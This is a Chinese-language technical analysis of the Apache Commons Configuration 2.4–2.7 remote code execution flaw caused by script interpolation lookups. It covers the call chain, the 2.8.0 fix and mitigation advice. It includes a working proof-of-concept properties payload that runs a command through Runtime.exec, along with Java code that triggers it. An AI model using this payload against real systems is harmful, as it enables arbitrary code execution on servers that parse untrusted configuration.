Apache Commons Configuration 远程代码执行
字数 1251 2025-08-27 12:33:48
Apache Commons Configuration 远程代码执行漏洞分析
漏洞概述
Apache Commons Configuration 是一个用于处理配置文件的Java库。在2.4至2.7版本中,该库存在一个远程代码执行漏洞,攻击者可以通过构造特殊的插值字符串,利用内置的脚本解析功能执行任意代码。
影响范围
- 受影响版本:2.4.x - 2.7.x
- 修复版本:2.8.0及以上
漏洞原理
插值字符串功能
Apache Commons Configuration支持变量插值功能,允许在配置值中引用其他配置项。例如:
application.name = Killer App
application.version = 1.6.2
application.title = ${application.name} ${application.version}
application.title会被解析为"Killer App 1.6.2"。
危险的Lookup实现
问题出在默认的Lookup实现中,特别是ScriptStringLookup类。该Lookup允许通过script:前缀执行脚本代码。
漏洞触发点
当解析包含${script:javascript:...}格式的配置值时,库会调用JavaScript引擎执行冒号后的代码:
- 配置值被传递给
ConfigurationInterpolator#resolve方法 - 解析器识别
script:前缀 - 调用
ScriptStringLookup.lookup()方法 - 该方法使用
eval()函数执行传入的脚本
漏洞复现
环境准备
- 使用Apache Commons Configuration 2.4-2.7版本
- 创建一个properties配置文件(如my.properties)
恶意配置文件
创建包含以下内容的配置文件:
app.name=${script:javascript:java.lang.Runtime.getRuntime().exec("open -a Calculator")}
漏洞触发代码
Configurations configs = new Configurations();
try {
PropertiesConfiguration properties = configs.properties(new File("my.properties"));
String string = properties.getString("app.name"); // 触发漏洞
} catch (ConfigurationException e) {
e.printStackTrace();
}
其他复现方式
- 直接调用ScriptLookup:
DefaultLookups script = DefaultLookups.SCRIPT;
Lookup lookup = script.getLookup();
lookup.lookup(cmd);
- 构造Interpolator对象:
InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
String str = "${script:" + cmd + "}";
interpolator.interpolate(str);
技术分析
关键类分析
-
ConfigurationInterpolator:
- 负责解析插值字符串
- 包含默认的prefix lookups(DEFAULT_PREFIX_LOOKUPS)
-
ScriptStringLookup:
- 实现Lookup接口
- 关键方法
lookup()会执行传入的脚本 - 使用
:分割字符串,前半部分为脚本引擎名,后半部分为要执行的代码
漏洞调用链
PropertiesConfiguration.getString()
-> ConfigurationInterpolator.interpolate()
-> ConfigurationInterpolator.resolve()
-> ScriptStringLookup.lookup()
-> ScriptEngine.eval()
修复方案
官方在2.8.0版本中进行了以下修复:
- 默认不再包含dns、url和script的Lookup实现
- 这些类仍然存在于库中,但需要显式启用才会使用
防护建议
- 升级到Apache Commons Configuration 2.8.0或更高版本
- 如果无法升级,可以:
- 禁用危险的Lookup实现
- 对输入进行严格过滤,防止恶意插值字符串
- 审查应用程序中所有使用配置文件的代码,确保不会解析不可信的配置文件
总结
该漏洞源于Apache Commons Configuration过度灵活的插值功能,默认启用了危险的脚本执行能力。攻击者可以通过精心构造的配置文件实现远程代码执行,危害性较高。开发者应及时升级到安全版本,或采取其他缓解措施。